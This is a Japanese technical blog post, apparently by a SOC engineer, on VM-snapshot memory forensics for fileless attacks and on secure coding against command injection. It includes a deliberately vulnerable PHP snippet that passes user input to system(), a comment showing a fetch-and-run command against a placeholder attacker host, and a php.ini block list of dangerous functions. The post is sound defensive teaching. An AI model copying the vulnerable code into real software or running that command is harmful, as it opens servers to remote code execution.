見えない敵を「静止」させる：VMスナップショットから始める実践的メモリフォレンジック
「ログも消された。OS上の不審なファイルも見当たらない。なのに、外部への不審な通信だけが止まらない……」
現場でインシデントレスポンスに当たっていると、こうした「ファイルレス攻撃」の壁にぶち当たることがよくあります。攻撃者はもう、ディスクに足跡を残すようなヘマはしません。彼らの主戦場は、揮発性メモリ（RAM）の中です。
今日は、我々SOCアナリストが「究極の証拠」として扱う、仮想マシン（VM）のスナップショットを用いたメモリフォレンジックについて話をしましょう。教科書通りの解説ではなく、現場でどうやって敵の尻尾を掴むのか、そしてその攻撃をそもそも許さないための堅牢な実装方法まで、一気に叩き込みます。
—
1. なぜ「ライブダンプ」ではなく「スナップショット」なのか
通常、動作中のマシンからメモリを抜くには DumpIt や LiME といったツールをターゲット上で実行します。しかし、これには2つの大きなリスクがあります。
1. 証拠の汚染: ツールを実行した瞬間に、メモリの状態（プロセスリストやネットワーク接続情報）が書き換わってしまう。
2. アンチフォレンジック: 高度なマルウェアは、メモリダンプツールの起動を検知すると、自らのプロセスを消去したり、OSをクラッシュさせたりします。
ここで、ESXiの .vmem や Hyper-Vの .bin ファイルが活きてきます。ハイパーバイザー側から「スナップショット」を撮れば、ゲストOS側に一切の手出しをせず、その瞬間のメモリを完全に静止した状態でコピーできるからです。これは、現場の人間にとって「動かぬ証拠」を確保する最も確実な手段です。
—
2. メモリに潜む「ファイルレス攻撃」の恐怖（PoCシナリオ）
例えば、Webサーバーにある脆弱性を突かれ、攻撃者がメモリ内で動作するリバースシェルを送り込んだとしましょう。
攻撃の構図：脆弱なPHPスクリプト
以下のような、外部からの入力を無防備に eval() や system() に渡しているコードが1箇所でもあると、致命的です。
<?php
// 非常に危険なコード例：攻撃者がメモリ上でシェルを走らせる起点になる
$cmd = $_GET['cmd'];
if (isset($cmd)) {
// 攻撃者はここで 'php -r "readfile(\'http://attacker.com/shell.php\');" | php' などを送り込む
system($cmd);
}
?>攻撃者はこの穴を使い、ディスクに一切ファイルを書き込まずに、メモリ上だけで動作するペイロードを展開します。この状態では、ls コマンドでディレクトリを探しても、ファイル整合性チェックを走らせても、何も検出されません。
しかし、VMスナップショットを撮り、Volatility 3などのツールで解析すれば、その正体は一発で露呈します。
—
3. 実践：セキュアな実装でメモリへの侵入を断つ
フォレンジックは事後の対策です。チーフエンジニアとして君たちに徹底してほしいのは、そもそも「メモリに潜り込ませない」ための実装です。
A. PHP: 危険な関数の封印と入力のサニタイズ
まず、OSコマンドを直接実行するような関数は、php.ini で根本から無効化してください。
; php.ini で設定
; 攻撃者がよく利用する関数を徹底的にブラックリスト化する
disable_functions = exec, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_sourceどうしてもコマンド実行が必要な場合は、入力を厳格にバリデーションし、エスケープします。
<?php
// 安全なコマンド実行の例
$allowed_actions = ['status', 'version'];
$action = $_GET['action'] ?? '';
if (in_array($action, $allowed_actions, true)) {
// escapeshellarg で引数をクォートし、意図しないコマンド注入を防ぐ
$safe_arg = escapeshellarg($action);
$output = shell_exec("/usr/local/bin/my_app --action " . $safe_arg);
echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
} else {
die("不正なリクエストです。");
}
?>B. Python: シェルを介さない安全なプロセス起動
Pythonで外部プログラムを呼ぶ際も、shell=True を使うのは厳禁です。
import subprocess
import shlex
def safe_execute(user_input):
# 不正な例: subprocess.run(f"ls {user_input}", shell=True) は絶対にダメ
# 正解: リスト形式で渡し、シェルを介さずに実行する
command = ["/usr/bin/ls", "-l"]
# 入力値を引数としてのみ扱う
# shlex.quote() でサニタイズを念押し
command.append(shlex.quote(user_input))
try:
result = subprocess.run(command, capture_output=True, text=True, check=True)
return result.stdout
except subprocess.CalledProcessError as e:
return f"Error: {e}"—
4. インフラ側で守る：VMスナップショットファイルの保護
メモリフォレンジックに使う .vmem や .vmsn ファイル自体が攻撃者に奪われたら、それは「物理メモリをそのまま盗まれた」ことと同義です。メモリ内には、平文のパスワードや暗号化キーが残っている可能性があります。
クラウド・仮想化基盤の防御設定
ESXiやクラウド環境（AWS/Azure）での権限管理を徹底してください。
1. IAMの最小権限原則: VMのスナップショット作成権限（datastore.FileManagement など）を持つユーザーを、管理者の中でもさらに限定する。
2. ストレージの暗号化: vSAN暗号化や、クラウドのEBS暗号化を有効にし、ストレージから直接 .vmem ファイルを抜き出されても中身が見えないようにする。
3. WAFによるRCEの阻止: そもそも脆弱性を突かせないために、Webアプリケーションの手前にWAF（AWS WAF, Cloudflare等）を置き、system() への攻撃パターンを遮断する。
—
最後に：チーフからのアドバイス
メモリフォレンジックは、攻撃者との「知恵比べ」の終着駅です。VMのスナップショットを活用する技術を身につければ、どんなに巧妙に隠れたプロセスも逃しません。
しかし、本当に優秀なエンジニアは、「フォレンジックが必要になる事態をいかに防ぐか」に心血を注ぎます。今回紹介したOSコマンド実行の回避や、厳格な入力バリデーションは、地味ですが最も効果的な防御策です。
「ログにないから安心」ではない。常に「メモリの中に何かがいるかもしれない」という緊張感を持って、コードの一行一行に責任を持ってください。何かあればいつでも相談に乗る。さあ、開発に戻ろう。
コメント